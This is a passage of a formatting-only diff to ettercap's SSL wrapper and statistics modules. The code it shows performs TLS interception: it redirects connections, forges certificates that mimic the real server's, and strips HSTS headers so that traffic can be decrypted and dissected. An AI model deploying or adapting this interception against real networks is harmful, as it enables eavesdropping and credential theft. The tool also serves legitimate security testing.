&listen_ports, next) { @@ -577,14 +566,13 @@ static int sslw_is_ssl(struct packet_object *po) return 0; } - /* - * Bind all registered wrappers to free ports + * Bind all registered wrappers to free ports * and isnert redirects. - */ + */ static void sslw_bind_wrapper(void) { - u_int16 bind_port = EC_MAGIC_16; + u_int16 bind_port = EC_MAGIC_16; struct listen_entry *le; struct sockaddr_in sa_in; #ifdef WITH_IPV6 @@ -596,7 +584,7 @@ static void sslw_bind_wrapper(void) le->fd = socket(AF_INET, SOCK_STREAM, 0); if (le->fd == -1) - FATAL_ERROR("Unable to create socket in sslw_bind_wrapper()"); + FATAL_ERROR("Unable to create socket in sslw_bind_wrapper()"); memset(&sa_in, 0, sizeof(sa_in)); sa_in.sin_family = AF_INET; sa_in.sin_addr.s_addr = INADDR_ANY; @@ -605,17 +593,17 @@ static void sslw_bind_wrapper(void) bind_port++; sa_in.sin_port = htons(bind_port); le->redir_port = bind_port; - } while ( bind(le->fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0); + } while (bind(le->fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0); DEBUG_MSG("sslw - bind %d on %d", le->sslw_port, le->redir_port); - if(listen(le->fd, 100) == -1) - FATAL_ERROR("Unable to accept connections for socket"); + if (listen(le->fd, 100) == -1) + FATAL_ERROR("Unable to accept connections for socket"); #ifdef WITH_IPV6 /* create & bind IPv6 socket on the same port */ le->fd6 = socket(AF_INET6, SOCK_STREAM, 0); if (le->fd6 == -1) - FATAL_ERROR("Unable to create socket in sslw_bind_wrapper() for IPv6"); + FATAL_ERROR("Unable to create socket in sslw_bind_wrapper() for IPv6"); memset(&sa_in6, 0, sizeof(sa_in6)); sa_in6.sin6_family = AF_INET6; sa_in6.sin6_addr = in6addr_any; @@ -623,37 +611,37 @@ static void sslw_bind_wrapper(void) /* we only listen on v6 as we use dedicated sockets per AF */ if (setsockopt(le->fd6, IPPROTO_IPV6, IPV6_V6ONLY, - &optval, sizeof(optval)) == -1) - FATAL_ERROR("Unable to set IPv6 socket to IPv6 only in sslw_bind_wrapper(): %s", - strerror(errno)); + &optval, sizeof(optval)) == -1) + FATAL_ERROR("Unable to set IPv6 socket to IPv6 only in sslw_bind_wrapper(): %s", + strerror(errno)); /* bind to IPv6 on the same port as the IPv4 socket */ if (bind(le->fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) FATAL_ERROR("Unable to bind() IPv6 socket to port %d in sslw_bind_wrapper(): %s", - bind_port, strerror(errno)); + bind_port, strerror(errno)); - if(listen(le->fd6, 100) == -1) - FATAL_ERROR("Unable to accept connections for IPv6 socket"); + if (listen(le->fd6, 100) == -1) + FATAL_ERROR("Unable to accept connections for IPv6 socket"); #else /* properly init fd even if unused - necessary for select call */ le->fd6 = 0; #endif if (sslw_insert_redirect(le->sslw_port, le->redir_port) != E_SUCCESS) - FATAL_ERROR("Can't insert firewall redirects"); + FATAL_ERROR("Can't insert firewall redirects"); } } -/* - * Create TCP a connection to the real SSL server +/* + * Create TCP a connection to the real SSL server */ static int sslw_sync_conn(struct accepted_entry *ae) -{ - if(sslw_get_peer(ae) != E_SUCCESS) - return -E_INVALID; - - if(sslw_connect_server(ae) != E_SUCCESS) - return -E_INVALID; +{ + if (sslw_get_peer(ae) != E_SUCCESS) + return -E_INVALID; + + if (sslw_connect_server(ae) != E_SUCCESS) + return -E_INVALID; /* set nonbloking socket */ set_blocking(ae->fd[SSL_CLIENT], 0); @@ -662,147 +650,141 @@ static int sslw_sync_conn(struct accepted_entry *ae) return E_SUCCESS; } - -/* +/* * Perform a blocking SSL_connect with a - * configurable timeout on a non-blocing socket + * configurable timeout on a non-blocing socket */ static int sslw_ssl_connect(SSL *ssl_sk) -{ +{ int loops = (GBL_CONF->connect_timeout * 10e5) / TSLEEP; int ret, ssl_err; do { /* connect to the server */ - if ( (ret = SSL_connect(ssl_sk)) == 1) + if ((ret = SSL_connect(ssl_sk)) == 1) return E_SUCCESS; ssl_err = SSL_get_error(ssl_sk, ret); - + /* there was an error... */ - if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) + if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) return -E_INVALID; - + /* sleep a quirk of time... */ ec_usleep(TSLEEP); - } while(loops--); + } while (loops--); return -E_INVALID; } - -/* +/* * Perform a blocking SSL_accept with a - * configurable timeout on a non-blocing socket + * configurable timeout on a non-blocing socket */ static int sslw_ssl_accept(SSL *ssl_sk) -{ +{ int loops = (GBL_CONF->connect_timeout * 10e5) / TSLEEP; int ret, ssl_err; do { /* accept the ssl connection */ - if ( (ret = SSL_accept(ssl_sk)) == 1) + if ((ret = SSL_accept(ssl_sk)) == 1) return E_SUCCESS; ssl_err = SSL_get_error(ssl_sk, ret); - + /* there was an error... */ - if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) + if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) return -E_INVALID; - + /* sleep a quirk of time... */ ec_usleep(TSLEEP); - } while(loops--); + } while (loops--); return -E_INVALID; } - -/* +/* * Create an SSL connection to the real server. * Grab server certificate and create a fake one * for the poor client. * Then accept the SSL connection from the client. - */ -static int sslw_sync_ssl(struct accepted_entry *ae) -{ + */ +static int sslw_sync_ssl(struct accepted_entry *ae) +{ X509 *server_cert; - + ae->ssl[SSL_SERVER] = SSL_new(ssl_ctx_server); SSL_set_connect_state(ae->ssl[SSL_SERVER]); SSL_set_fd(ae->ssl[SSL_SERVER], ae->fd[SSL_SERVER]); ae->ssl[SSL_CLIENT] = SSL_new(ssl_ctx_client); SSL_set_fd(ae->ssl[SSL_CLIENT], ae->fd[SSL_CLIENT]); - - if (sslw_ssl_connect(ae->ssl[SSL_SERVER]) != E_SUCCESS) + + if (sslw_ssl_connect(ae->ssl[SSL_SERVER]) != E_SUCCESS) return -E_INVALID; /* XXX - NULL cypher can give no certificate */ - if ( (server_cert = SSL_get_peer_certificate(ae->ssl[SSL_SERVER])) == NULL) { + if ((server_cert = SSL_get_peer_certificate(ae->ssl[SSL_SERVER])) == NULL) { DEBUG_MSG("Can't get peer certificate"); return -E_INVALID; } if (!GBL_OPTIONS->ssl_cert) { - /* Create the fake certificate */ - ae->cert = sslw_create_selfsigned(server_cert); - X509_free(server_cert); + /* Create the fake certificate */ + ae->cert = sslw_create_selfsigned(server_cert); + X509_free(server_cert); - if (ae->cert == NULL) - return -E_INVALID; - - SSL_use_certificate(ae->ssl[SSL_CLIENT], ae->cert); + if (ae->cert == NULL) + return -E_INVALID; + SSL_use_certificate(ae->ssl[SSL_CLIENT], ae->cert); } - - if (sslw_ssl_accept(ae->ssl[SSL_CLIENT]) != E_SUCCESS) - return -E_INVALID; + if (sslw_ssl_accept(ae->ssl[SSL_CLIENT]) != E_SUCCESS) + return -E_INVALID; - return E_SUCCESS; + return E_SUCCESS; } - -/* - * Take the IP address of the server +/* + * Take the IP address of the server * that the client wants to talk to. */ static int sslw_get_peer(struct accepted_entry *ae) { /* If on Linux, we can just get the SO_ORIGINAL_DST from getsockopt() no need for this loop - nonsense. -*/ + * nonsense. + */ #ifndef OS_LINUX struct ec_session *s = NULL; struct packet_object po; void *ident = NULL; int i; - + /* Take the server IP address from the NAT sessions */ memcpy(&po.L3.src, &ae->ip[SSL_CLIENT], sizeof(struct ip_addr)); po.L4.src = ae->port[SSL_CLIENT]; po.L4.dst = ae->port[SSL_SERVER]; - + sslw_create_ident(&ident, &po); - /* - * A little waiting loop because the sniffing thread , + /* + * A little waiting loop because the sniffing thread , * which creates the session, may be slower than this */ - for (i=0; iip[SSL_SERVER], s->data, sizeof(struct ip_addr)); - + SAFE_FREE(s->data); SAFE_FREE(s); SAFE_FREE(ident); @@ -815,17 +797,17 @@ static int sslw_get_peer(struct accepted_entry *ae) socklen_t ss_len = sizeof(struct sockaddr_storage); switch (ntohs(ae->ip[SSL_CLIENT].addr_type)) { - case AF_INET: - getsockopt(ae->fd[SSL_CLIENT], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len); - sa4 = (struct sockaddr_in *)&ss; - ip_addr_init(&(ae->ip[SSL_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); - break; + case AF_INET: + getsockopt(ae->fd[SSL_CLIENT], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *)&ss, &ss_len); + sa4 = (struct sockaddr_in *)&ss; + ip_addr_init(&(ae->ip[SSL_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); + break; #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST - case AF_INET6: - getsockopt(ae->fd[SSL_CLIENT], IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len); - sa6 = (struct sockaddr_in6 *)&ss; - ip_addr_init(&(ae->ip[SSL_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); - break; + case AF_INET6: + getsockopt(ae->fd[SSL_CLIENT], IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr *)&ss, &ss_len); + sa6 = (struct sockaddr_in6 *)&ss; + ip_addr_init(&(ae->ip[SSL_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); + break; #endif } @@ -833,50 +815,48 @@ static int sslw_get_peer(struct accepted_entry *ae) return E_SUCCESS; } - -/* +/* * Take the other peer (server) from ssl-decoders' sessions - * and contact it. + * and contact it. * Check if we have to enter SSL state. */ static int sslw_connect_server(struct accepted_entry *ae) { char dest_ip[MAX_ASCII_ADDR_LEN]; - + ip_addr_ntoa(&ae->ip[SSL_SERVER], dest_ip); - + /* Standard connection to the server */ if ((ae->fd[SSL_SERVER] = open_socket(dest_ip, ntohs(ae->port[SSL_SERVER]))) < 0) { DEBUG_MSG("Could not open socket"); return -E_INVALID; } - - return E_SUCCESS; -} + return E_SUCCESS; +} -/* - * Read the data from an accepted connection. +/* + * Read the data from an accepted connection. * Check if it already entered SSL state. - */ + */ static int sslw_read_data(struct accepted_entry *ae, u_int32 direction, struct packet_object *po) { int len, ret_err; - + if (ae->status & SSL_ENABLED) len = SSL_read(ae->ssl[direction], po->DATA.data, 1024); - else - //len = socket_recv(ae->fd[direction], po->DATA.data, 1024); + else + // len = socket_recv(ae->fd[direction], po->DATA.data, 1024); len = read(ae->fd[direction], po->DATA.data, 1024); /* XXX - Check when it returns 0 (it was a <)*/ if (len <= 0 && (ae->status & SSL_ENABLED)) { ret_err = SSL_get_error(ae->ssl[direction], len); - + /* XXX - Is it necessary? */ if (len == 0) return -E_INVALID; - + if (ret_err == SSL_ERROR_WANT_READ || ret_err == SSL_ERROR_WANT_WRITE) return -E_NOTHANDLED; else @@ -891,10 +871,10 @@ static int sslw_read_data(struct accepted_entry *ae, u_int32 direction, struct p return -E_NOTHANDLED; else return -E_INVALID; - } + } /* XXX - On standard reads, close is 0? (EOF)*/ - if (len == 0) + if (len == 0) return -E_INVALID; po->len = len; @@ -904,22 +884,21 @@ static int sslw_read_data(struct accepted_entry *ae, u_int32 direction, struct p /* NULL terminate the data buffer */ po->DATA.data[po->DATA.len] = 0; - /* remove STS header */ + /* remove STS header */ if (direction == SSL_SERVER) - sslw_remove_sts(po); + sslw_remove_sts(po); /* create the buffer to be displayed */ packet_destroy_object(po); packet_disp_data(po, po->DATA.data, po->DATA.len); - + return E_SUCCESS; } - -/* - * Write the data into an accepted connection. +/* + * Write the data into an accepted connection. * Check if it already entered SSL state. - */ + */ static int sslw_write_data(struct accepted_entry *ae, u_int32 direction, struct packet_object *po) { int32 len, packet_len, not_written, ret_err; @@ -936,8 +915,8 @@ static int sslw_write_data(struct accepted_entry *ae, u_int32 direction, struct /* Write packet data */ if (ae->status & SSL_ENABLED) len = SSL_write(ae->ssl[direction], p_data, packet_len); - else - //len = socket_send(ae->fd[direction], p_data, packet_len); + else + // len = socket_send(ae->fd[direction], p_data, packet_len); len = write(ae->fd[direction], p_data, packet_len); if (len <= 0 && (ae->status & SSL_ENABLED)) { @@ -955,28 +934,26 @@ static int sslw_write_data(struct accepted_entry *ae, u_int32 direction, struct not_written = 1; else return -E_INVALID; - } + } /* XXX - does some OS use partial writes for SSL? */ - if (len < packet_len && !not_written ) { + if (len < packet_len && !not_written) { DEBUG_MSG("SSL-Wrapper partial writes: to be implemented..."); packet_len -= len; p_data += len; not_written = 1; } - + /* XXX - Set a proper sleep time */ if (not_written) ec_usleep(SEC2MICRO(1)); - } while (not_written); - + return E_SUCCESS; } - -/* - * Fill the packet object and put it in +/* + * Fill the packet object and put it in * the dissector stack (above protocols decoders) */ static void sslw_parse_packet(struct accepted_entry *ae, u_int32 direction, struct packet_object *po) @@ -984,7 +961,7 @@ static void sslw_parse_packet(struct accepted_entry *ae, u_int32 direction, stru FUNC_DECODER_PTR(start_decoder); int len; - /* + /* * ssl childs keep the connection alive even if the sniffing thread * was stopped. But don't add packets to top-half queue. */ @@ -993,28 +970,28 @@ static void sslw_parse_packet(struct accepted_entry *ae, u_int32 direction, stru memcpy(&po->L3.src, &ae->ip[direction], sizeof(struct ip_addr)); memcpy(&po->L3.dst, &ae->ip[!direction], sizeof(struct ip_addr)); - + po->L4.src = ae->port[direction]; po->L4.dst = ae->port[!direction]; - + po->flags |= PO_FROMSSL; - + /* get current time */ gettimeofday(&po->ts, NULL); /* calculate if the dest is local or not */ switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { - case E_SUCCESS: - PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); - PACKET->PASSIVE.flags |= FP_HOST_LOCAL; - break; - case -E_NOTFOUND: - PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; - PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; - break; - case -E_INVALID: - PACKET->PASSIVE.flags = FP_UNKNOWN; - break; + case E_SUCCESS: + PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); + PACKET->PASSIVE.flags |= FP_HOST_LOCAL; + break; + case -E_NOTFOUND: + PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; + PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; + break; + case -E_INVALID: + PACKET->PASSIVE.flags = FP_UNKNOWN; + break; } /* Let's start from the last stage of decoder chain */ @@ -1022,36 +999,35 @@ static void sslw_parse_packet(struct accepted_entry *ae, u_int32 direction, stru start_decoder(po->DATA.data, po->DATA.len, &len, po); } - -/* - * Remove the connection from the accepted +/* + * Remove the connection from the accepted * list and close both sockets. */ static void sslw_wipe_connection(struct accepted_entry *ae) { - if (ae->ssl[SSL_CLIENT]) + if (ae->ssl[SSL_CLIENT]) SSL_free(ae->ssl[SSL_CLIENT]); - if (ae->ssl[SSL_SERVER]) + if (ae->ssl[SSL_SERVER]) SSL_free(ae->ssl[SSL_SERVER]); - + close_socket(ae->fd[SSL_CLIENT]); close_socket(ae->fd[SSL_SERVER]); if (ae->cert) X509_free(ae->cert); - if(ae) - SAFE_FREE(ae); + if (ae) + SAFE_FREE(ae); } -/* +/* * Initialize a fake PO to be passed to top half */ static void sslw_initialize_po(struct packet_object *po, u_char *p_data) { - /* - * Allocate the data buffer and initialize + /* + * Allocate the data buffer and initialize * fake headers. Headers len is set to 0. * XXX - Be sure to not modify these len. */ @@ -1060,34 +1036,33 @@ static void sslw_initialize_po(struct packet_object *po, u_char *p_data) SAFE_CALLOC(po->DATA.data, 1, UINT16_MAX); } else { if (po->DATA.data != p_data) { - SAFE_FREE(po->DATA.data); - po->DATA.data = p_data; + SAFE_FREE(po->DATA.data); + po->DATA.data = p_data; } } - - po->L2.header = po->DATA.data; - po->L3.header = po->DATA.data; + + po->L2.header = po->DATA.data; + po->L3.header = po->DATA.data; po->L3.options = po->DATA.data; - po->L4.header = po->DATA.data; + po->L4.header = po->DATA.data; po->L4.options = po->DATA.data; po->fwd_packet = po->DATA.data; - po->packet = po->DATA.data; - + po->packet = po->DATA.data; + po->L3.proto = htons(LL_TYPE_IP); po->L3.ttl = 64; po->L4.proto = NL_TYPE_TCP; } - -/* +/* * Create a self-signed certificate */ static X509 *sslw_create_selfsigned(X509 *server_cert) -{ +{ X509 *out_cert; X509_EXTENSION *ext; int index = 0; - + if ((out_cert = X509_new()) == NULL) return NULL; @@ -1098,23 +1073,23 @@ static X509 *sslw_create_selfsigned(X509 *server_cert) X509_set_notAfter(out_cert, X509_get_notAfter(server_cert)); X509_set_pubkey(out_cert, global_pk); X509_set_subject_name(out_cert, X509_get_subject_name(server_cert)); - X509_set_issuer_name(out_cert, X509_get_issuer_name(server_cert)); + X509_set_issuer_name(out_cert, X509_get_issuer_name(server_cert)); - /* Modify the issuer a little bit */ - //X509_NAME_add_entry_by_txt(X509_get_issuer_name(out_cert), "L", MBSTRING_ASC, " ", -1, -1, 0); + /* Modify the issuer a little bit */ + // X509_NAME_add_entry_by_txt(X509_get_issuer_name(out_cert), "L", MBSTRING_ASC, " ", -1, -1, 0); index = X509_get_ext_by_NID(server_cert, NID_authority_key_identifier, -1); - if (index >=0) { + if (index >= 0) { ext = X509_get_ext(server_cert, index); #ifdef HAVE_OPAQUE_RSA_DSA_DH - ASN1_OCTET_STRING* os; - os = X509_EXTENSION_get_data (ext); + ASN1_OCTET_STRING *os; + os = X509_EXTENSION_get_data(ext); #endif if (ext) { #ifdef HAVE_OPAQUE_RSA_DSA_DH os->data[7] = 0xe7; os->data[8] = 0x7e; - X509_EXTENSION_set_data (ext, os); + X509_EXTENSION_set_data(ext, os); #else ext->value->data[7] = 0xe7; ext->value->data[8] = 0x7e; @@ -1129,17 +1104,16 @@ static X509 *sslw_create_selfsigned(X509 *server_cert) DEBUG_MSG("Error self-signing X509"); return NULL; } - + return out_cert; } - -/* - * Initialize SSL stuff +/* + * Initialize SSL stuff */ static void sslw_init(void) { - SSL *dummy_ssl=NULL; + SSL *dummy_ssl = NULL; SSL_library_init(); @@ -1150,41 +1124,40 @@ static void sslw_init(void) ON_ERROR(ssl_ctx_client, NULL, "Could not create client SSL CTX"); ON_ERROR(ssl_ctx_server, NULL, "Could not create server SSL CTX"); - if(GBL_OPTIONS->ssl_pkey) { - /* Get our private key from the file specified from cmd-line */ - DEBUG_MSG("Using custom private key %s", GBL_OPTIONS->ssl_pkey); - if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, GBL_OPTIONS->ssl_pkey, SSL_FILETYPE_PEM) == 0) { - FATAL_ERROR("Can't open \"%s\" file : %s", GBL_OPTIONS->ssl_pkey, strerror(errno)); - } - - if (GBL_OPTIONS->ssl_cert) { - if (SSL_CTX_use_certificate_file(ssl_ctx_client, GBL_OPTIONS->ssl_cert, SSL_FILETYPE_PEM) == 0) { - FATAL_ERROR("Can't open \"%s\" file : %s", GBL_OPTIONS->ssl_cert, strerror(errno)); - } - - if (!SSL_CTX_check_private_key(ssl_ctx_client)) { - FATAL_ERROR("Certificate \"%s\" does not match private key \"%s\"", GBL_OPTIONS->ssl_cert, GBL_OPTIONS->ssl_pkey); - } - } + if (GBL_OPTIONS->ssl_pkey) { + /* Get our private key from the file specified from cmd-line */ + DEBUG_MSG("Using custom private key %s", GBL_OPTIONS->ssl_pkey); + if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, GBL_OPTIONS->ssl_pkey, SSL_FILETYPE_PEM) == 0) { + FATAL_ERROR("Can't open \"%s\" file : %s", GBL_OPTIONS->ssl_pkey, strerror(errno)); + } + + if (GBL_OPTIONS->ssl_cert) { + if (SSL_CTX_use_certificate_file(ssl_ctx_client, GBL_OPTIONS->ssl_cert, SSL_FILETYPE_PEM) == 0) { + FATAL_ERROR("Can't open \"%s\" file : %s", GBL_OPTIONS->ssl_cert, strerror(errno)); + } + + if (!SSL_CTX_check_private_key(ssl_ctx_client)) { + FATAL_ERROR("Certificate \"%s\" does not match private key \"%s\"", GBL_OPTIONS->ssl_cert, GBL_OPTIONS->ssl_pkey); + } + } } else { - /* Get our private key from our cert file */ - if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, INSTALL_DATADIR "/" EC_PROGRAM "/" CERT_FILE, SSL_FILETYPE_PEM) == 0) { - DEBUG_MSG("sslw -- SSL_CTX_use_PrivateKey_file -- trying ./share/%s", CERT_FILE); + /* Get our private key from our cert file */ + if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, INSTALL_DATADIR "/" EC_PROGRAM "/" CERT_FILE, SSL_FILETYPE_PEM) == 0) { + DEBUG_MSG("sslw -- SSL_CTX_use_PrivateKey_file -- trying ./share/%s", CERT_FILE); - if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, "./share/" CERT_FILE, SSL_FILETYPE_PEM) == 0) - FATAL_ERROR("Can't open \"./share/%s\" file : %s", CERT_FILE, strerror(errno)); - } + if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, "./share/" CERT_FILE, SSL_FILETYPE_PEM) == 0) + FATAL_ERROR("Can't open \"./share/%s\" file : %s", CERT_FILE, strerror(errno)); + } } dummy_ssl = SSL_new(ssl_ctx_client); - if ( (global_pk = SSL_get_privatekey(dummy_ssl)) == NULL ) + if ((global_pk = SSL_get_privatekey(dummy_ssl)) == NULL) FATAL_ERROR("Can't get private key from file"); - SSL_free(dummy_ssl); + SSL_free(dummy_ssl); } - -/* +/* * SSL thread child function. */ @@ -1197,7 +1170,6 @@ EC_THREAD_FUNC(sslw_child) ae = (struct accepted_entry *)args; ec_thread_init(); - /* We don't want this to accidentally close STDIN */ ae->fd[SSL_SERVER] = -1; @@ -1208,10 +1180,11 @@ EC_THREAD_FUNC(sslw_child) DEBUG_MSG("FAILED TO FIND PEER"); SAFE_FREE(ae); ec_thread_exit(); - } - - if ((ae->status & SSL_ENABLED) && - sslw_sync_ssl(ae) == -E_INVALID) { + } + + if ((ae->status & SSL_ENABLED) && + sslw_sync_ssl(ae) == -E_INVALID) + { sslw_wipe_connection(ae); ec_thread_exit(); } @@ -1224,36 +1197,35 @@ EC_THREAD_FUNC(sslw_child) sslw_parse_packet(ae, SSL_SERVER, &po); sslw_initialize_po(&po, po.DATA.data); - + LOOP { data_read = 0; - for(direction=0; direction<2; direction++) { + for (direction = 0; direction < 2; direction++) { ret_val = sslw_read_data(ae, direction, &po); - BREAK_ON_ERROR(ret_val,ae,po); - + BREAK_ON_ERROR(ret_val, ae, po); + /* if we have data to read */ if (ret_val == E_SUCCESS) { data_read = 1; - sslw_parse_packet(ae, direction, &po); if (po.flags & PO_DROPPED) continue; - + ret_val = sslw_write_data(ae, !direction, &po); - BREAK_ON_ERROR(ret_val,ae,po); - + BREAK_ON_ERROR(ret_val, ae, po); + if ((po.flags & PO_SSLSTART) && !(ae->status & SSL_ENABLED)) { - ae->status |= SSL_ENABLED; + ae->status |= SSL_ENABLED; ret_val = sslw_sync_ssl(ae); - BREAK_ON_ERROR(ret_val,ae,po); + BREAK_ON_ERROR(ret_val, ae, po); } - + sslw_initialize_po(&po, po.DATA.data); - } + } } /* XXX - Set a proper sleep time */ @@ -1265,56 +1237,52 @@ EC_THREAD_FUNC(sslw_child) return NULL; } - static int sslw_remove_sts(struct packet_object *po) { - u_char *ptr; - u_char *end; - u_char *h_end; - size_t len = po->DATA.len; - size_t slen = strlen("\r\nStrict-Transport-Security:"); - - if (!memmem(po->DATA.data, po->DATA.len, "\r\nStrict-Transport-Security:", slen)) { - return -E_NOTFOUND; - } - - ptr = po->DATA.data; - end = ptr + po->DATA.len; - - len = end - ptr; - - ptr = (u_char*)memmem(ptr, len, "\r\nStrict-Transport-Security:", slen); - ptr += 2; + u_char *ptr; + u_char *end; + u_char *h_end; + size_t len = po->DATA.len; + size_t slen = strlen("\r\nStrict-Transport-Security:"); + + if (!memmem(po->DATA.data, po->DATA.len, "\r\nStrict-Transport-Security:", slen)) { + return -E_NOTFOUND; + } - h_end = (u_char*)memmem(ptr, len, "\r\n", 2); - h_end += 2; + ptr = po->DATA.data; + end = ptr + po->DATA.len; - size_t before_header = ptr - po->DATA.data; - size_t header_length = h_end - ptr; - size_t new_len = 0; + len = end - ptr; - u_char *new_html; - SAFE_CALLOC(new_html, len, sizeof(u_char)); + ptr = (u_char *)memmem(ptr, len, "\r\nStrict-Transport-Security:", slen); + ptr += 2; - BUG_IF(new_html == NULL); + h_end = (u_char *)memmem(ptr, len, "\r\n", 2); + h_end += 2; - memcpy(new_html, po->DATA.data, before_header); - new_len += before_header; + size_t before_header = ptr - po->DATA.data; + size_t header_length = h_end - ptr; + size_t new_len = 0; - memcpy(new_html+new_len, h_end, (len - header_length) - before_header); - new_len += (len - header_length) - before_header; + u_char *new_html; + SAFE_CALLOC(new_html, len, sizeof(u_char)); + BUG_IF(new_html == NULL); - memset(po->DATA.data, '\0', po->DATA.len); + memcpy(new_html, po->DATA.data, before_header); + new_len += before_header; - memcpy(po->DATA.data, new_html, new_len); - po->DATA.len = new_len; + memcpy(new_html + new_len, h_end, (len - header_length) - before_header); + new_len += (len - header_length) - before_header; - po->flags |= PO_MODIFIED; + memset(po->DATA.data, '\0', po->DATA.len); + memcpy(po->DATA.data, new_html, new_len); + po->DATA.len = new_len; - return E_SUCCESS; + po->flags |= PO_MODIFIED; + return E_SUCCESS; } /*******************************************/ @@ -1329,7 +1297,7 @@ static size_t sslw_create_ident(void **i, struct packet_object *po) /* the magic */ ident->magic = SSLW_MAGIC; - + /* prepare the ident */ memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); @@ -1343,7 +1311,6 @@ static size_t sslw_create_ident(void **i, struct packet_object *po) return sizeof(struct sslw_ident); } - static int sslw_match(void *id_sess, void *id_curr) { struct sslw_ident *ids = id_sess; @@ -1352,8 +1319,8 @@ static int sslw_match(void *id_sess, void *id_curr) /* sanity check */ BUG_IF(ids == NULL); BUG_IF(id == NULL); - - /* + + /* * is this ident from our level ? * check the magic ! */ @@ -1362,13 +1329,12 @@ static int sslw_match(void *id_sess, void *id_curr) if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && - !ip_addr_cmp(&ids->L3_src, &id->L3_src)) + !ip_addr_cmp(&ids->L3_src, &id->L3_src)) return 1; - + return 0; } - static void sslw_create_session(struct ec_session **s, struct packet_object *po) { void *ident; @@ -1377,10 +1343,10 @@ static void sslw_create_session(struct ec_session **s, struct packet_object *po) /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); - + /* create the ident */ (*s)->ident_len = sslw_create_ident(&ident, po); - + /* link to the session */ (*s)->ident = ident; @@ -1394,4 +1360,3 @@ static void sslw_create_session(struct ec_session **s, struct packet_object *po) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_stats.c b/src/ec_stats.c index 290492b6b..a788b2747 100644 --- a/src/ec_stats.c +++ b/src/ec_stats.c @@ -1,23 +1,23 @@ /* - ettercap -- statistics collection module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- statistics collection module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -32,7 +32,7 @@ unsigned long stats_queue_add(void) { /* increment the counter */ GBL_STATS->queue_curr++; - + /* check if the max has to be updated */ if (GBL_STATS->queue_curr > GBL_STATS->queue_max) GBL_STATS->queue_max = GBL_STATS->queue_curr; @@ -61,7 +61,7 @@ void stats_half_start(struct half_stats *hs) /* * update the packet (num and size) counters - * and get the time diff to calculate the + * and get the time diff to calculate the * rate */ void stats_half_end(struct half_stats *hs, u_int len) @@ -78,35 +78,34 @@ void stats_half_end(struct half_stats *hs, u_int len) time_add(&hs->tpar, &diff, &hs->tpar); /* calculate the rate (packet/time) */ - ttime = hs->ttot.tv_sec + hs->ttot.tv_usec/1.0e6; - ptime = hs->tpar.tv_sec + hs->tpar.tv_usec/1.0e6; + ttime = hs->ttot.tv_sec + hs->ttot.tv_usec / 1.0e6; + ptime = hs->tpar.tv_sec + hs->tpar.tv_usec / 1.0e6; /* update the packet count */ hs->pck_recv++; hs->pck_size += len; hs->tmp_size += len; - - if ( (hs->pck_recv % GBL_CONF->sampling_rate) == 0 ) { + + if ((hs->pck_recv % GBL_CONF->sampling_rate) == 0) { /* save the average and the worst sampling */ - hs->rate_adv = hs->pck_recv/ttime; - if (hs->rate_worst > GBL_CONF->sampling_rate/ptime || hs->rate_worst == 0) - hs->rate_worst = GBL_CONF->sampling_rate/ptime; - - hs->thru_adv = hs->pck_size/ttime; - if (hs->thru_worst > hs->tmp_size/ptime || hs->thru_worst == 0) - hs->thru_worst = hs->tmp_size/ptime; + hs->rate_adv = hs->pck_recv / ttime; + if (hs->rate_worst > GBL_CONF->sampling_rate / ptime || hs->rate_worst == 0) + hs->rate_worst = GBL_CONF->sampling_rate / ptime; + + hs->thru_adv = hs->pck_size / ttime; + if 